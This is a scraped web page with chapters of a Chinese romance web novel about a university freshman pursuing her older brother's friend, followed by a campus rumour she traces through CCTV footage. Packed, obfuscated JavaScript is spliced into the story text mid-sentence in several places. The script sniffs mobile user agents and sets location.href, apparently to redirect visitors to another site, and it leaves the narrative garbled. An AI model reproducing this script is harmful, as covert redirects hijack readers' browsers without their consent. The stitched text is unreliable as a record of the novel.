l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626958|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不耐,近在咫尺的俊颜凝着她,却也并没有更进一步的动作。演戏演到这个份上,贺问洲还不接招,舒怀瑾顿时没了装乖的心思,“有点疼,但是不至于疼到没法说话。贺叔叔,你怎么没有一点绅士风度?” 小姑娘的情绪比六月的天气还多变,泪雾还挂在眼尾呢,语气就已骄纵起来。 面对她的质问,贺问洲难得的好脾气,“你指的绅士风度,是想让我抱你去医院,还是回我家?” 舒怀瑾眼瞳微微睁大,不可置信地盯着他。 贺问洲哼笑了声,“听到回家两个字就不好意思了,到底是怎么想出这种损招的?” “不是,进度这么快。”舒怀瑾抢先一步表明立场,“我还以为要经历个九九八十一难才能……” 剩下的话她不敢说了。 因为她明显察觉到贺问洲对待她的喜欢就像哄小孩一样。时机不对,不能轻易捅破窗户纸。 贺问洲显然也不想让她就这个话题展开,“眼泪也是强行挤出来的?” “嗯。”舒怀瑾语气闷闷的,听到他轻笑着,“把这辈子最难过的事想了几遍?” 舒怀瑾不高兴了,“想几遍?你看不起我。” 贺问洲慢条斯理地虚扶着她攀着钢琴架站稳,意在点醒两人之间差距太大,“你今年才刚成年,吃过最大的苦恐怕就是不能每天回家了吧?” “不能回家多好,一个人自由自在,别提有多爽了。” 舒怀瑾抠着指甲,势必要反驳一下,“再说了,阅历又不是靠吃苦积攒的。” 道理一套接着一套,贺问洲不为所动,纡尊降贵地叠好她掉落在地的披肩。 “行了,不舒服还非要来折腾,换好衣服赶紧回去。” 他平静劝完,丝毫没有意识到,此刻管她的立场有多像兄长。舒怀瑾一个劲地偷笑,换来他冷沉的一记警告。 舒怀瑾楚楚可怜道:“我都这么不舒服了,你不送我回去吗?” 贺问洲:“给你叫个专车。” “……” 算了,撩不动。今天到这差不多了,剩下的以后再继续。舒怀瑾此时也挺想回公寓洗个热水澡,答应得爽快,“好吧,那下次见。” 她得意洋洋地将围在腰间的战利品收紧,下巴骄矜地扬着,看样子心情很好。 贺问洲不禁想起舒宴清说她容易记仇。 没心没肺,哪里是会记仇的样子。 贺问洲没给她希望,平声说:“最好没有下次。” 他今天就多余来这一趟,陪她玩了过家家般的游戏,耽误了后面的行程。贺问洲的车辆抵达友人的四合院时,棋局已过半,泡好的铁观音茶水也凉了透彻。 贺问洲慵懒地往皮质沙发上一靠,摩擦砂轮点燃了烟。 许久没抽,心头愈发浮躁。 “听宴清说,启星那块闹得厉害,照理说这种事你处理起来应该游刃有余才对。”好友笑,“变棘手了?” “不是工作的事。”贺问洲不便多言,“照顾小朋友比较费心神。” 好友说话也气人,故作讶异,“私生女啊?” 夹在指腹尖的烟支抖了抖,贺问洲斜睨过来,闲闲的语气透着难以察觉的宠溺,“我可没这么能闹腾的女儿。” 好友知晓他的脾性,打趣一句遂翻篇。 贺问洲轻轻吐出一缕烟圈,还未燃尽,微信界面弹出枚红点。 来自舒怀瑾的好友申请,备注:[谢谢贺大佬的外套和伞] 7. 暴雪夜 消息发出去二十分钟后,舒怀瑾收到了好友申请通过的提示。 加上贺问洲的第一件事,就是去刷他的朋友圈。可惜他这人不喜对外界展露自己,一年都不见得发一条,舒怀瑾翻到了底,也只刷到零星几条。 最早的内容来自九年前,一张同校友的合照。他站在标准的C位,看两侧之人的气质约莫是大导和院长一类的,众人面上挂着笑,贺问洲自然也是。 单从外貌上来看,八年前和现在没有任何区别,只是眼神多了几分阅历沉淀后的柔和混沌。 其他朋友圈则没什么看点,舒怀瑾不感兴趣,切回聊天界面。 她在这研究了半天朋友圈,贺问洲竟然一条消息都没发。 连破冰都需要她来。 舒怀瑾先用了个表情包打底,暹罗猫探头。动图里,暹罗猫眼圈黑乎乎的,瞳孔又大又圆,莫名有种鬼鬼祟祟的可爱感。 贺问洲收到这条消息时,支在白砂石旁的烟头已经燃尽,佣人有条不紊地撤下去,点了新的香薰散味。 微信于他而言只是个通讯工具,回复内容言简意赅,还是头一次见到有人什么事都不说,光发个莫名其妙的表情包的。 那只暹罗猫下巴格外圆润,娇憨之下藏着几分机灵,倒是和她挺像。 舒怀瑾发出的第一张试探表情包以夭折告终。他竟然不回!没关系,不喜欢猫她还有狗,不喜欢狗还有柯尔鸭,要是连鸭子也不喜欢的话,还有卡皮巴拉。 于是贺问洲收到了来自舒怀瑾每隔五分钟的表情包试探。 在她发到卡皮巴拉时,贺问洲终于忍无可忍,回复了第一条消息。 [Hudson:有事说事] 啧,好高冷。舒怀瑾撇嘴,在心底默默给贺问洲点了踩。然后敲字回复:[刚才给你发这么多消息你都不回,果然没有人能够拒绝卡皮巴拉] [Hudson:卡皮巴拉?漫画名字?] 舒怀瑾差点笑岔气,[卡皮巴拉就是水豚,贺叔叔,你也太out了] 贺问洲回了一连串省略号。 跟他聊天确实费劲,不像她的朋友们,一个个的都是话痨。插科打诨差不多就到这里,舒怀瑾开始谈及他感兴趣的正事,装作礼貌地问:[你借给我的西装已经送去干洗了,伞也晒干叠好了,我怎么还给你啊?] 赶在贺问洲回复前,舒怀瑾抓住主导权:[要是你不方便的话,我让我哥帮忙带过去] 舒宴清防她跟防贼一样,不希望她同贺问洲有任何交集。贺问洲虽然坦然,却也顾忌着避嫌,大概率不会同意,到时候她就能顺着台阶走下来,制造相处的新机会。 可惜她的如意算盘师出未捷身先死,被贺问洲无情斩断。 [Hudson:不用还了] 舒怀瑾试图继续拉扯,不过贺问洲显然不吃死缠烂打这套,没有再回复。碰壁过后,舒怀瑾多少有点郁闷,上完几节大课去食堂人挤人的时候,郑意看出她情绪不佳,好奇道:“昨晚回来不还挺开心的吗,怎么今天焉成这样?” 苏雨接过话头:“估计是姨妈期副作用,没准晚上参加联谊会的时候情绪上来,又变成人来疯了。” 舒怀瑾一筷子戳进鸡排里,不禁感慨果然沾上恋爱都得沾点多愁善感,鸡排愿意让她啃,贺问洲可不一定。她抿了抿嘴,严肃地说:“学生会联谊有什么好玩的,不如在寝室种蘑菇。” “大好青春浪费在寝室里也太可惜了吧!你不去看帅哥?” 舒怀瑾持怀疑态度,“学生会有帅哥?” “当然有!学生会主席帅疯了好吗?”郑意忽然想起来,舒怀瑾是学生会招新的最后一天去的,因此没见到传闻中碾压好几届学生颜值的会长本人,“你去了就知道了,人今年大三,和学长创业合伙开了个工作室,搞美术外包的,颜值与实力并存。” “我作证,是真的长得清秀斯文。”苏雨说,“回头给你去抖搜下,有人偷拍过他,小爆了一把。” 另一个大馋丫头怂恿道:“参加联谊的可以揣一兜子零食回去。” 大学的夜生活无非就是图书馆、自习室,以及各种寝室躺平,舒怀瑾想着她们三个都去玩了,她一个人待寝室里,确实有点无聊,勉勉强强答应。 “记得把你那佳能相机带上。” 舒怀瑾故意扬高声线:“合着拿帅哥当引子,把我当日本人整啊!” 众人捂嘴偷笑,一个个的都是马屁精,将她的摄影技术吹得天上有地下无的,说没有她出不了片。情绪价值直接拉满,舒怀瑾高兴地应承下来。 舒怀瑾进学生会纯属为了好玩,宣传部平时不算特别忙,她在其中充当小透明的角色。 联谊会借用的是学院团组织的多媒体老教室,挂了不少气球和彩带,每个座位上都摆了一小捧鲜花,什么颜色的桔梗都有,看起来还挺像那么回事的。比她想象中的排场要大不少。 几人落座后,各个部门的部长先带了段才艺表演秀,唱歌、指弹吉他以及舞蹈,场子热起来以后,开始了击鼓传花的小游戏。 舒怀瑾举着相机逃过一劫,没有参与自我介绍的尴尬环节。 郑意在各方面的上进心都很强,有意在下一个学年留任部长,因此格外卖力,掺杂了不少有趣的梗,逗得众人捧腹大笑,也因此留下了大方鲜明的印象。舒怀瑾左右溜达半圈,照片拍得差不多了,找了处角落坐下。 “小瑾,这是第几个了?”苏雨肘碰了下她的肩。 舒怀瑾百无聊赖地翻着聊天框,没反应过来,“什么第几个?” “第几个问你名字,加你联系方式的。” “没仔细记。”舒怀瑾话音刚落,郑意神神秘秘地凑过来,“主席还有两分钟到。” 眼看着又有人想过来搭讪,舒怀瑾半遮住脸,装作很忙的样子,有种想脚底抹油开溜的冲动。 喧闹的室内一秒安静下来,那位传闻中的学生会主席自教室后门出场时,枯燥单调的背景似乎变得鲜活不少。光是干净清爽的侧颜,就足以秒杀各类校园剧男主。身高挺拔修长,穿着一件简单的白色T恤,眉眼清冷,瞳孔透亮,的确配得上她们所说的一眼万年。 不过呢,年上气息比较淡,按照舒怀瑾的审美来说,值得欣赏,只是无关风月情潮。 郑意:“怎么样,这趟没白来吧?” “还行。”舒怀瑾客观评价,“不过不是我的菜。” 舒怀瑾肩上还担着部长安排下来的拍照任务,觉得这场景构图不错,咔嚓按下连拍。或许是那刻的嘈杂化作点点碎影,镜头中的人听见快门声,若有所察般投来视线。 拍下照片后,舒怀瑾手机振动,低眸划开屏幕,正好错过了这场对视。 “我靠!他看我们这边了,小瑾,他好像在看你!” “感觉咱们主席自带美颜滤镜,怎么有人素颜能长成这样,小瑾,你真的不考虑一下换个crush么,校园恋比异地恋香了不止一星半点。” 要是放在之前,舒怀瑾肯定会为贺问洲正名,鉴于他上午的态度冷淡,选择了沉默。 后面的环节她没参加,将相机托付给室友们后,一个人往外出去透气。 舒宴清发过来的截图是她两个星期前在赵叔朋友圈的评论。 [你打探贺问洲的事可以来问我,没必要找他] [小瑾,赵斌为人狡猾,和他交流每个字都需要谨慎小心] 她们兄妹俩一条心,哪些人值得信任,哪些人只为趋利,舒怀瑾门清。既然选择了在朋友圈回复而不是私聊,自然知道舒宴清会语重心长地同她解释。 舒怀瑾刚回了个好,舒宴清的电话就打了进来。 听到她这头虚虚实实的声响,舒宴清问:“还在学校?” “刚参加完校学生会的联谊会。” 他没有先提贺问洲的事,舒怀瑾也不急,等着他下半句话。 “我开车路过你们学校,要不要栽你吃点夜宵?”舒宴清道。 舒怀瑾踢走路边的石子,“就你一个人?” “不是。”舒宴清知道她想说什么 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舒宴清:“我这不是担心你被学校里的男生骗吗?你从小泡在蜜罐里长大,认识的人哪个不得在我眼皮子底下先过一遭,上了大学非得说什么独立人格,不让我过问,也不肯让爸妈操心。” 什么报备都没有,他心底总不踏实。 舒母听说大学食堂和周边外卖店几乎全是预制菜,剩下的还有一半高油高糖的垃圾食品,尤为关心她的日常三餐,不好过问她,倒总是从他这里敲打,让他多带她用餐。 舒宴清一个头两个大。 眼见着他又要念叨,舒怀瑾及时中断这没个停歇的话题,余光有意无意落向后排的与世无争的贺问洲,“哥,要是我以后谈恋爱了,你该不会也要管吧?” 斑驳的树影自贺问洲锋棱凌厉的面庞掠过,质感如缎带般的领结透着深冷的蓝调,靠着椅背的姿态松弛又散漫,自她上车后,沉静的神色并未掀起半分波澜。 舒宴清既不希望她招惹贺问洲,更不想她在学校里找个全然不熟悉的毛头小子谈恋爱。 两者相较,他宁愿贺问洲受点情伤。毕竟小姑娘么,善变很正常,多给点兄长的包容就好。 不行,哪个都不行。舒宴清差点被她带偏, “谈恋爱可以,把对方名字告诉我,等我调查好了,确认没问题了再谈。” 舒怀瑾不以为然:“谈个恋爱你还要政审啊。” “社会就是这样复杂,你没见过那些为了资源不择手段的凤凰男,当然不知道像你这种家境还不错的小姑娘最适合作为目标,但凡攀上,起码能少走二十年弯路。” 不说人脉资源,京北户口也足以让人争得头破血流。 舒怀瑾平日里就喜欢和她哥拌嘴,两人观念有代沟,一件小事都能辩论个八百回合。 她闷哼了声,翻出相机比划,“人家图我的钱,我就不能图对方的颜值身体?各有所图,不就亏不了咯。” 如此前卫开放的言论,让舒宴清太阳穴隐隐作痛,“你要跟人比图身体,到底谁更吃亏?” 他妹妹这个长相,配贺问洲都绰绰有余,其他毛头小子有什么好值得图的。 舒怀瑾默念了一句,抱歉了学生会主席,在心底双手合十拜了拜,调出刚才拍摄的照片来举证,“我们学校还是有神颜的好不好!” 昏暗的车内环境里,相机的光亮格外刺眼。 青葱校园里男生五官出色,未被世俗侵染过的澄澈眼神是同他们最大的区别。 舒宴清只看一眼就开始挑刺,“长得好看有什么用,你一个项链就要六七位数,他能负担得起?家境和能力同样重要,别光看脸就莽着一股劲往前冲。” 舒怀瑾挽唇,“年轻有年轻的好处,成熟有成熟的趣味,总不能贪心什么都要。” 她话锋一转,“贺先生,你觉得我说的对不对?” 贺问洲慢条斯理地掀来一隅视线,在照片里的男生面上掠过,眉心微不可闻地挑起半分弧度。 “男生心智往往晚熟。”磁性好听的声音响起,“所以,同龄的确不合适。” 8. 暴雪夜 尽管贺问洲措辞谨慎,依旧是那副冷淡平和的神情,舒怀瑾还是忍不住怀疑他这句话夹带了某种私货。 同龄人不合适,那什么合适?比她大十一岁的? 少女狡黠的眼瞳转动,脑子里有了新主意。 她故意装出一副不认同的样子,反问:“同龄男生哪里不好了,还是贺先生有别的高见?” 舒宴清揉着眉心,在说教和忍耐之间,选择了放弃。 贺问洲疏懒地靠在椅背边缘,掌背凸起的脉络在阴暗交叠的光影中性感得要命。他似是没料到她会深究话中隐意,抬眸睨过来,随着微微俯身的动作,一隅冷光自他轮廓分明的面庞划过,犹如清雪消融。 “我只是说年纪不合适,并没有全盘否定。” 他说话做事滴水不漏,俨然不像程煜好套话,她随便丢个糖衣炮弹下去,程煜能把身份证和银行卡密码全招出来,也因此没少被她们几个发小嘲他没城府。 舒怀瑾扒拉着挎包上的钥匙扣,“主要是吧,我不怎么喜欢小奶狗类型的弟弟,不过不知道为什么,我吸引来的全是这个类型。拜托,我很有当妈的潜质吗?” 这句非常清醒,明显不是恋爱脑。不过舒宴清却满意不起来,总觉得她后面还有半句重磅炸弹没说。 知妹莫若哥,舒怀瑾果不其然地向两位兄长倾诉了青春萌动的困惑。 “同龄已经我能够接受的底线了。”舒怀瑾叹口气,饱满的情绪转变之快,奥斯卡影后也做不到像她这样毫无负担地切换自如,“其实我就喜欢年纪大的,感觉既成熟,又有一种说不出的魅力,让人欲罢不能。” 舒宴清以为这是妹妹的坦白局,一时涌出些许欣慰,站在成年人的角度帮她分析。 “你不是喜欢年纪大的,只是对他们身上的附加条件产生了崇拜感,阅历、地位,乃至成就,是社会面形象最好的滤镜。” 舒怀瑾用脚指头都能猜出舒宴清要说什么,“最好的祛魅就是拥有。” 见她没有叛逆反驳,舒宴清头一次有种如释重负的感觉,“对。” 他正要继续引导,舒怀瑾眉眼弯弯,“懂了,我以后一定谨遵哥哥教诲。” 舒宴清:“你懂什么了?我们来对齐一下,我说的是……” “哎哎哎。”舒怀瑾及时打断,“我已经上大学了,浅显易懂的道理,你没必要掰开揉碎了灌输到我脑子里,咱们从现在开始,用成年人的那套点到即止。” 至于是哪种拥有,她当然不会告诉舒宴清。文字游戏,将来他总会懂的。 沉默的间隙里,舒宴清本能地自省几秒,到底是忍住了唠叨。 入夜后的二环城内依旧热闹,车停泊在酒店楼下,三人乘坐分区的高速电梯上了顶楼,舒缓的小提琴声将整个餐厅的格调烘托得十分优雅,舒怀瑾跟在舒宴清身后,余光止不住地往贺问洲的方向瞟。 他比舒宴清稍高,体型硕长挺拔,两人一对比,健身的优势就体现出来了。 贺问洲宽肩窄腰,没有一丝褶皱的西裤包裹着一双逆天长腿,绝对是背影杀手届的西装暴徒。 而她哥吧,单看挺帅的,同贺问洲一比,就显得有些不够看。 舒怀瑾正放肆地欣赏着贺问洲的身影,他似有所察般,漫不经心地投来一道警告的视线。从小熟读孙子兵法的小姑娘采用了迂回战术,朝他露出灿烂的笑容。 杏眸晶亮,樱粉色的唇釉在灯光下闪着细碎的光,对着这样一张人畜无害的笑脸,贺问问洲反倒显得小气。 她脚底下踩着帆布鞋,这么冷的天气也不肯好好穿袜子,露出小半截白皙的脚踝,随着步伐的迈动,白到晃眼。 他无声地溢出一丝自嘲的轻嗤。旋即无奈地松了松袖扣,分明一句话都没说,却无端给人一种宠溺的错觉。 舒怀瑾自然捕捉到了这点细微的变化,耳尖隐热。 啊啊啊啊救命。 她感觉自己的xp多少有点毛病,否则怎么会被不经意间撩到。 侍应生微微鞠躬,微笑着:“舒先生,您预定的窗边观景位在这边,请跟我来。” 因为舒怀瑾喜欢这家餐厅,舒宴清作为头号ATM机,成了熟客,经理收到通知后迎上来,同他寒暄着,介绍今晚刚空运过来的新鲜食材,俨然没注意到她和贺问洲的互动。 低眸瞧了眼自己的装扮,暗暗思忖等夏天到了,她必须买一整个衣柜的漂亮裙子。 她的帆布鞋和贺问洲的牛津皮鞋不匹配。 衣服也是。 靠窗的观景位视野极佳,能够俯瞰四通八达的城市中轴线,远处闪烁的霓虹同一颗颗彩色的星子似的,随后一拍都很出片。 入座后,舒宴清将菜单递给贺问洲,“他们家的香煎鹅肝配焦糖苹果和焗蜗牛味道不错,但口味偏甜,不知道合不合你口味。” “我没什么忌口,点什么都可以。” 贺问洲随意翻看几页,深邃而暗的眸子轻抬,“小姑娘喜欢哪些?” 舒怀瑾不满道,“还不如叫我舒小姐。” 贺问洲从善如流地改口,“舒小姐。” 她扬了扬眉,一副对这个称呼勉强满意的骄矜模样。舒怀瑾在与人交往方面有着出众的天赋,能够精准地把握好度,谁都知道她是大小姐脾气,却从不会觉得难伺候,反倒分外艳羡这股劲。 贺问洲的包容度其实并不高,能够配合她到这地步,舒宴清不免生出几分疑惑。旋即否定了这份猜疑,大概是他想多了。 舒宴清说:“刚才说的两个菜她都挺喜欢的。” “哦?”贺问洲溢出半个音节,懒散地望向好友,“难怪你要跟我提这两道菜,原来是醉翁之意不在酒。” 作为发小群里的美食侦探,舒怀瑾有绝对的发言权,“这两道是招牌菜,不管是谁,尝试过后一定会爱上。” 她说话的时候,眼底满是真诚的安利,仿佛他不点这两道菜,就跟亏了几百万似的。 贺问洲合上菜单,对侍应生道:“香煎鹅肝、焗蜗牛,勃艮第红酒炖牛肉,加上舒先生定的套餐,应该差不多了。我的那份让主厨尽量不要加冰。” 舒宴清点的套餐里有道创新料理,送餐时需要将食材浸泡在冰块里,提升口感的层次。 冰块融化后,口味大打折扣。 舒怀瑾压低了声问她哥,“贺大佬为什么不要冰啊?他胃不好吗?” 贺问洲听得清清楚楚,料想这姑娘大概率是故意的,招数还挺多。舒宴清平声回:“嗯。问洲早年受过伤,不怎么能吃生冷的食物。” “什么伤?”舒怀瑾能想到的只有车祸,“撞伤?” 舒宴清不好展开,正要低斥她别东问西问,贺问洲慢条斯理地拂过金属刀叉,醇厚的声线出奇的冷静,“是枪伤。” 自小生活在安稳环境下,枪伤实在是闻所未闻,舒怀瑾一时没能和贺问洲的经历对上。 她记得贺问洲有段在美国的经历,没准是某个夜晚,被人抢劫,意外受的伤。 舒怀瑾见她哥神情微敛,识趣地没再追问,含糊揭过,“怪不得问洲哥随身携带保镖,安全还是挺重要的。” 气氛不知为何变得有些冷,菜品按着顺序陆续送上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人分明清清白白,他却说不出毫无关系的话。毕竟他有着她的联系方式,无论起因如何,作为年长她十一岁的兄长,不拒绝,不斩断注定成为过错。 涉世未深的少女,接近而立之年的男人,两者相连,无论换作谁,联想的词都不会好到哪里去。 诱骗少女的青春,本不是君子所为。 他甚至想好了待会舒宴清上车时,看到这副景象,该如何解释。万全之策必须即刻想出来。 只见她窸窸窣窣在她的包里翻找着什么,下一秒,冰凉坚硬的物体就塞进了他怀里。 舒宴清解决完工作上的问题,疾步往这边靠近,舒怀瑾来不及解释,飞速挪回去,装作熟睡的模样。 舒宴清拿出绒毯给她盖上,同后排神色泛冷的贺问洲道:“抱歉问洲,小瑾今天应该累了,待会我先送她回公寓,再送你回去。” 贺问洲:“没事,照顾小朋友要紧。” 半小时的车程过后,贺问洲抵达他在京北的别墅,褪下西装外套后,滚落在地的水豚摆件格外惹眼。三个水豚玩叠叠乐似的,他半蹲下身,捡起来一看,自己倒笑了。这么丑的东西,套上卡皮巴拉的名字,也就她会买。 舒怀瑾美美地洗了个澡,解锁手机,收到贺问洲发来的消息。 [(图片)] [什么东西?] 她擦净指尖的水珠,发了个表情包,[礼物啊] [作为你借给我西装和伞的回礼] 9. 暴雪夜 他说了不用还,与其揪着一个点反复试探,还不如展开新的话题往下延伸。用来巩固人设形象的东西越有记忆点,存在感越强。 她敢保证,贺问洲绝对没有收到过这样的礼物。 事实亦是如此。 收到她的回复,贺问洲毫无波澜的眉眼松动稍许,认真地打量起她送的小物件来。倒不是说廉价,只是没有人会送不符合身份的东西。有求于人者,必然是慎之又慎,咬紧牙关也要投其所好。 到底还是未经世事的小朋友,没有被隐藏的人情规则侵染。 贺问洲随手将水豚放置于书房桌台边缘,可这东西实在太过扎眼,同周围环境格格不入,让人难以忽视。 [东西我收下了,下次别送了,没必要对谁都回礼] 舒怀瑾对着贺问洲发来的这条内容翻来覆去看了几遍,最终忽略他的敲打,选择装傻曲解他的意思。 [下次?] 隔了几秒,她又添加一句,[好的,以后我就不会这么客气了] 贺问洲哪能不懂她在想什么,轻笑了声,不再陪她玩文字游戏。 这晚过后,舒怀瑾密切关注着贺问洲的动态,然而无济于事。两人差距太大,交友圈相差十万八千里,她总不能期望着在学校附近偶遇他。加上他没有更新朋友圈动态的习惯,线上永远是疏离淡漠的样子,想要强行和他产生交集,更是难上加难。 追人计划,还得等到寒假才能正式开展。 下午有节线代课,老师节奏飞快,整堂全是干货,因此每次都需要提前抢前排的位置。其他科目偶尔会有逃课的,与高数相关的却几乎看不到,落下一截,需要花费三四倍的时间来弥补,得不偿失。 为了追求效率,大家宁愿满勤。 舒怀瑾的寝室离第二教学楼近,郑意她们提前半小时到了教室,用书给她占了个位置。她卡着上课开始前十分钟抵达时,教室内已经乌压压坐满了一片。 “小瑾,这里。”苏雨朝她挥手示意。 舒怀瑾从包里翻出笔记和水性笔,给她们几人一人递了瓶饮料。 “怎么感觉今天怪怪的?刚才过来好多人看我。” 舒怀瑾总觉得投射过来的目光中,不太像单纯的欣赏,反而含着某种负面的揣测。 不过最近没发生什么事,她又比较低调,大概率只是错觉。 郑意将舒怀瑾带来的冰杯拆开,哗啦倒进保温杯里,“估计是昨晚的联谊会,让大家都知道今年大一的学生会有个纯欲风仙女,还是我们金融系的,都好奇想着看看,毕竟谁不爱看漂亮妹妹。” 听她们这么解释,舒怀瑾没再多想。 “致死量冰块,啧啧啧,不愧是狠人。”苏雨感慨。 郑意:“早八,线代,这两个词凑一起,我就已经活人微死了,没有冰美式我真的活不下去。” “别说了,大学牲越说越苦。” 两人自嘲完,苏雨凑过来对正在整理桌面的舒怀瑾说,“小瑾,昨天你溜了以后,好几个男生问我要你的联系方式。” 她看了眼舒怀瑾的表情,顿声,:“我没给。” 舒怀瑾将手机调成振动,不在意道:“要是怕得罪人,你该给就给呗,至于通不通过是我的事,别人又管不着。” 苏雨和郑意都有意留任学生会,拉拢人脉对以后争取选票很重要,舒怀瑾对待这些端的是游戏人间的态度,自然不介意她们顺手卖个人情。 “小瑾,像你这样的活菩萨,我上哪找去。”苏雨调侃,把三人逗乐了。 之前知道舒怀瑾是京北人,家境不错,刚上大一就能在学校外全款买下公寓,不过倒是没看到其他大额消费,大家没太放在心上,只当她家是中产水平,依旧正常相处,说话也不过脑。直到听人说昨晚接她那辆宾利光是低配都要八百来万,对她的家境多了几分畏惧,这才小心翼翼着,怕不小心得罪了大佬。 没想到舒怀瑾一点大小姐的架子都没有。 郑意想起听到的八卦,觉得私底下听人议论室友不太好,索性坦白了跟她道:“对了,昨天给你告白的外联那男生,最好离他远点。” 她斟酌用词,“我感觉这人吧,有点阴。” 苏雨提示:“就那微分碎盖的副部长,长得有点小帅,还是个几万粉的颜值网红,据说专挑学妹下手,渣得要死。” 舒怀瑾对她们提及的名字没印象,隔了好一阵,才想起来是她上车前婉拒的人。说实话,长相没什么竞争力,还没有程煜帅,至少程煜从小到大都是正儿八经的校草,不用靠滤镜堆叠。 舒怀瑾:“他不能看上我吧?我都没跟他说话,头也不回就上车了。” 郑意琢磨:“问题就出在这。你哥昨天开的是宾利吗?” “是啊。” 舒宴清车库里有好几辆商务车,宾利、林肯、别克,沉稳流畅的车型,每一款都是她精挑细选,当然,最帅的还是那辆帕拉梅拉的超跑,现在已经沦为她的专属座驾了。 可惜在学校里开太显眼,她只有和程煜那群发小出去玩的时候才会开。 “有人说你上的那辆车价值八百多万,具体消息从哪传出来的不清楚。大晚上的,光线那么暗,谁没事看这么多细节。”郑意猜测,“八成是他在传谣。” 实际落地价超过了这个数,舒怀瑾没细说,只简单地吐槽。 “算了,就当不知道,以后我见了他绕道走。谢谢你们提醒我。” “都是朋友,客气什么。”苏雨顿了几秒,开玩笑道:“小瑾,你该不会是什么舒氏银行的千金吧?” 舒怀瑾噗嗤一笑,“我知道这个梗,但真的不至于,而且那车看着贵,实际上是记在公司名的,不能算个人资产。” “至于我家,比上不足比下有余吧,真没那么厉害。”她言简意赅,说到这里叹了口气,引开话题,“我喜欢的那个人,才是我努力一辈子也够不到的存在。” 现实生活中遇到货真价实的千金小姐,同刻板印象里狂晒豪车名表的大相径庭。 不怪她们看不透舒怀瑾的真实家境。 她戴十几万的梵克雅宝,也戴9.9包邮的塑料手串,还特别爱吃食堂16块的鸡排饭,平时穿的用的质感还不错,但看不出具体价格,跟她们逛街时,几十块的文化衫也买,而且不是穿一次就随手扔了那种。 据舒怀瑾说她是颜控、手控、声控,各种buff叠一起,完全难以想象对方有多优秀。郑意更喜欢舒怀瑾这股劲了,生活品质可以向下兼容,眼光必须往上抬。 室友们纷纷竖起大拇指,“加油,小瑾,拿下他,你就是全京北最有种的女人。” 大家说说笑笑,将话题盖过去。 舒怀瑾也只当这是件不足为道的小插曲,没想到事情持续发酵,让她陷入了小范围的舆论风波。 起因是有人拍到了她踏上豪车的照片,加上联谊会当天,她拒绝了不少前来搭讪的人,眉眼冷冷清清的,被添油加醋说成看菜下碟,表面一副清高的样子,背地里还不是疯狂跪舔金主。 [才大一就做这种事,白白扼杀了自己的上升通道,真是让人惋惜。希望北外的女孩子们引以为戒,真的不要行差踏错走捷径啊!!!] 原贴是以表白墙投稿的形式发出来的,投稿人匿了头像和昵称,用词文绉绉的,尽管伪装出一副好心规劝的良善语气,还是暴露了高高在上泼脏水的恶毒心思。 郑意和苏雨刷到这条时,差点没被气死,“小瑾,你等下,我们这就去控评,什么玩意儿啊。” 舒怀瑾划拉到评论底下,数量倒是不多,三十来条,基本都是明辨是非的看客。有指责表白墙未经审核发布,缺乏官号公信力的,也有怒骂发帖人蛇蝎心肠装绿茶的,就是没有以谣传谣的。 [2025年了,还有看见女生上了辆豪车就开始意淫别人的了?大清亡的时候没带上你真是晦气] [有病啊,偷拍人家隐私,这样造谣家里人怎么办] [发帖人扑面而来的恶臭快熏到我了,还匿了,匿个屁,墙赶紧公布出来,让大家看看网线背后到底是哪个人模狗样的东西] 共有四张图片,舒怀瑾冷静地点进去,截图保存了时间、聊天记录等重要信息。拍摄者怕暴露身份,所站的位置显然有一段距离,车身模糊,还好没有拍到车牌。 郑意和苏雨正噼里啪啦敲字打算大战八百来回,评论发出去,原帖子已删除。 “我靠,这表白墙现在才删,生怕没人看得到是吧。” 寝室几人面面相觑,担忧地看向舒怀瑾,“接下来你打算怎么办?要不要给表白墙投稿,我们帮你作证。” 无缘无故被泼了一身脏水,换做谁也不能心平气和假装无事发生。她们亲眼见到事情发酵,更是气不到一处来,恨不得当场将始作俑者揪出来。 舒怀瑾这个当事人反倒是整个寝室最平静的,“我刚才已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626961|172416||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经截图了,回头我找律师咨询一下,至于自证完全没必要,要是我真投稿发出去,肯定会有别的声音冒出来。” 比如反感她炫富,指责她小题大做之类的,从而陷入自证陷阱。 郑意喜欢社交,参加各种活动,在学校里人脉资源最广。 舒怀瑾琢磨一阵,扭头看她:“郑意,能帮我拿到表白墙实际管理人的联系方式么?” “表白墙是前几届学长学姐们留下来的,平时发布的内容非常频繁,应该是几个人在管理。”苏雨说。 “能,等我问下。”郑意记得应该是校新媒体社员负责这块,当即发消息询问。 舒怀瑾拎起包,想再去确认一件事,苏雨怕她情绪不好,飞快穿鞋说要跟她一起。 两人骑着小电驴还原了那晚偷拍者所在的大概方位,拍照发在群里,同室友们分析讨论,最后锁定了大概位置。 苏雨一头雾水,不明白舒怀瑾搞清楚这些细节有什么用。 舒怀瑾示意她往上看,苏雨更困惑了,“学校监控我们应该没办法调取吧?” “我自有办法。”舒怀瑾说,“待会你配合我。” 两人找到学校保安室,舒怀瑾先是表现出焦急的样子,说自己弄丢了家里买的金镯子,觉得报警太麻烦,想借监控看一眼,保安挥手说不行,她又从包子里摸出塑料袋,说了几句好话。 保安一边念叨着说这样不合规,一边给她们调出监控,去门口抽了半杆烟。 舒怀瑾用手机录完了视频,道了谢。 苏雨没想到这么顺利,内心依旧动荡,转念一想,两条中华也挺贵了,人情世故这套,还得耳濡目染才能学会。 